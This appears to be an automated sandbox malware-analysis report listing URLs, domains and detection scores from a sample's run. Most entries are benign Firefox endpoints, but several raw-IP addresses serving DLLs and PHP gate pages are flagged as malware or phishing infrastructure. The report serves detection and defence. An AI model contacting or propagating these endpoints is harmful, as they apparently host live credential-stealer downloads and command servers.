https://ok.ru/	0%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/nss3.dll	100%	Avira URL Cloud	malware
https://www.bbc.co.uk/	0%	Avira URL Cloud	safe
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Virustotal		Browse
http://185.215.113.19/ferences.SourceAumid1	100%	Avira URL Cloud	phishing
https://www.youtube.com/accountC:	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/nss3.dll	10%	Virustotal		Browse
https://github.com/mozilla-services/screenshots	0%	Virustotal		Browse
http://85.28.47.31/AppData	100%	Avira URL Cloud	malware
https://www.bbc.co.uk/	0%	Virustotal		Browse
https://profiler.firefox.comprofilerRecordingButtonCreatedMOZ_BROWSER_TOOLBOX_BINARYisPopupFeatureFl	0%	Avira URL Cloud	safe
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	0%	Virustotal		Browse
https://www.iqiyi.com/	0%	Avira URL Cloud	safe
https://www.youtu.c	0%	Avira URL Cloud	safe
https://www.youtube.com/account_shouldViewDownloadInternallygetCombined/overrideFnArray	0%	Avira URL Cloud	safe
https://www.youtube.com/accountC:	0%	Virustotal		Browse
https://www.amazon.com/Z	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dllRZT	100%	Avira URL Cloud	malware
https://www.iqiyi.com/	0%	Virustotal		Browse
https://www.tsn.caZ	0%	Avira URL Cloud	safe
http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=	100%	Avira URL Cloud	phishing
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	0%	Avira URL Cloud	safe
https://getpocket.com/firefox/new_tab_learn_morediscoverystream.spocs-endpoint-query	0%	Avira URL Cloud	safe
https://www.amazon.com/Z	3%	Virustotal		Browse
http://85.28.47.315TJS	0%	Avira URL Cloud	safe
https://www.zhihu.com/	0%	Avira URL Cloud	safe
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	0%	Virustotal		Browse
http://185.215.113.16/Jo89Ku7d/index.php2?	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
youtube-ui.l.google.com	142.250.184.238	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse	unknown
ipv4only.arpa	192.0.0.171	true	false	0%, Virustotal, Browse	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
contile.services.mozilla.com	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	0%, Virustotal, Browse	unknown
spocs.getpocket.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
detectportal.firefox.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.youtube.com	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php	true	2%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/nss3.dll	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://detectportal.firefox.com/	firefox.exe, 0000001E.00000002.3100681543.00000270E234C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3031269537.00000270C9BD7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	bdb44f72d9.exe, 00000017.00000002.3246133657.00000000008DC000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 00000017.00000000.2762168634.0000000000B81000.00000080.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000008DC000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000000.2937508935.0000000000B81000.00000080.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001E.00000003.2998160641.00000270E41EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB7C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3011652184.00000270E2344000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001E.00000002.3047918500.00000270D8B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3035541532.00000270D6CB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3388160352.0000027742E52000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://185.215.113.19/15.113.19/	explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	true	16%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001E.00000002.3060815323.00000270DADB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3067558634.00000270DB024000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DADD3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001E.00000002.3100681543.00000270E234C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3069796496.00000270DB203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966671923.00000270DA683000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3071808582.00000270DB7A2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008157636.00000270E41BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll/	file.exe, 00000000.00000002.2382069321.00000000024A7000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse	unknown
http://85.28.47.31/5499d72b3a3e55be.phpvWn	624f4d727e.exe, 00000014.00000002.2765136724.000000000256B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001E.00000003.2966388903.00000270DA66B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965350403.00000270DA400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965635133.00000270DA61C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965901975.00000270DA636000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000012.00000002.3256607765.000000000122F000.00000004.00000020.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 0000001E.00000002.3032836106.00000270D618A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2974249356.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043752217.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bbc.co.uk/	firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/ferences.SourceAumid1	explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.youtube.com/accountC:	firefox.exe, 0000001C.00000002.2952270255.00000158A7AC0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3030803173.00000270C9930000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001E.00000002.3067558634.00000270DB024000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/AppData	624f4d727e.exe, 00000014.00000002.2765136724.000000000256B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA15F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D61AD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://profiler.firefox.comprofilerRecordingButtonCreatedMOZ_BROWSER_TOOLBOX_BINARYisPopupFeatureFl	firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA15F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D61AD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB7C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.youtu.c	bdb44f72d9.exe, 0000001B.00000002.3339214666.00000000066D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/account_shouldViewDownloadInternallygetCombined/overrideFnArray	firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/Z	firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001E.00000003.3009281847.00000270E40E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/8405906461a5200c/vcruntime140.dllRZT	file.exe, 00000000.00000002.2382069321.00000000024E4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D61AD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.tsn.caZ	firefox.exe, 0000001E.00000002.3115240088.000039E679900000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=	axplong.exe, 00000012.00000002.3256607765.000000000122F000.00000004.00000020.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: phishing	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.com	firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB5C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://getpocket.com/firefox/new_tab_learn_morediscoverystream.spocs-endpoint-query	firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://85.28.47.315TJS	624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zhihu.com/	firefox.exe, 0000001E.00000003.2999210432.00000270E4120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008852300.00000270E4120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	firefox.exe, 0000001E.00000002.3105629754.00000270E4075000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E2247000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DAD33000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	firefox.exe, 0000001E.00000002.3105629754.00000270E4075000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E2247000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DAD33000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.php2?	axplong.exe, 00000012.00000002.3256607765.000000000121A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%shttp://win.ma	firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.phpwb	explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3042238317.00000270D7C73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2974249356.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043752217.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001E.00000003.2998160641.00000270E41EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E2103000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001E.00000003.2965901975.00000270DA636000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001E.00000003.3009281847.00000270E40E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.wykop.pl/	firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/	firefox.exe, 0000001E.00000002.3078302717.00000270DC7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.olx.pl/	firefox.exe, 0000001E.00000003.2999210432.00000270E4120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E219F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3008852300.00000270E4120000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2993891650.00000270E219F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/ons	explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://mail.google.com/mail/?extsrc=mailto&url=%sFailed	firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31lyF	624f4d727e.exe, 00000018.00000002.2899807297.00000000025EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001E.00000003.2985790168.00000270E441E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2983687435.00000270E4423000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.phposition:	file.exe, 00000000.00000002.2380791496.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/complete/	firefox.exe, 0000001E.00000002.3087332031.00000270DDB82000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
